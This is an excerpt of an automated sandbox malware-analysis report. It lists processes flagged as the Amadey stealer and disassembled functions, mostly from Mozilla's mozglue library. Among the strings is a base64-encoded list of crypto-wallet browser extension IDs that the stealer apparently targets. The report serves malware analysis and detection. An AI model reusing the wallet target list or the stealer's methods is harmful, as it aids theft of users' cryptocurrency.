Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	01:55:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xff0000
File size:	1'966'080 bytes
MD5 hash:	B1734D770AB1E0F7B6DF002639FF531C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.3282639838.0000000005240000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.3452809562.0000000000FF1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	01:55:18
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008960001\26a643af99.exe"
Imagebase:	0x610000
File size:	4'414'976 bytes
MD5 hash:	EB315A7709B7905B3F5FB8053E593ABB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
__aulldiv.LIBCMT ref: 6C9536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C953773
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C95377E
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C9537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9537C4
EnterCriticalSection.KERNEL32(6C9DF688), ref: 6C9537CB
LeaveCriticalSection.KERNEL32(6C9DF688), ref: 6C953801
__aulldiv.LIBCMT ref: 6C953883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C953902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C953918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C95394C

Strings

AuthcAMDenti, xrefs: 6C953946
GenuntelineI, xrefs: 6C953639
GTC, xrefs: 6C953912
QPC, xrefs: 6C9538FC
MOZ_TIMESTAMP_MODE, xrefs: 6C9535DB

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
[I %d/%d] profiler_init, xrefs: 6C96564E
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
GeckoMain, xrefs: 6C965554, 6C9655D5
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm, xrefs: 6C9657BC
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$YXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZm$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2071883752
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

SHA256, xrefs: 6C966EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
wintrust.dll, xrefs: 6C9672CD
(, xrefs: 6C96768A

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

<jemalloc>, xrefs: 6C989B33, 6C989BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
MALLOC_OPTIONS, xrefs: 6C9897CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_CRASH(), xrefs: 6C989B42

Memory Dump Source

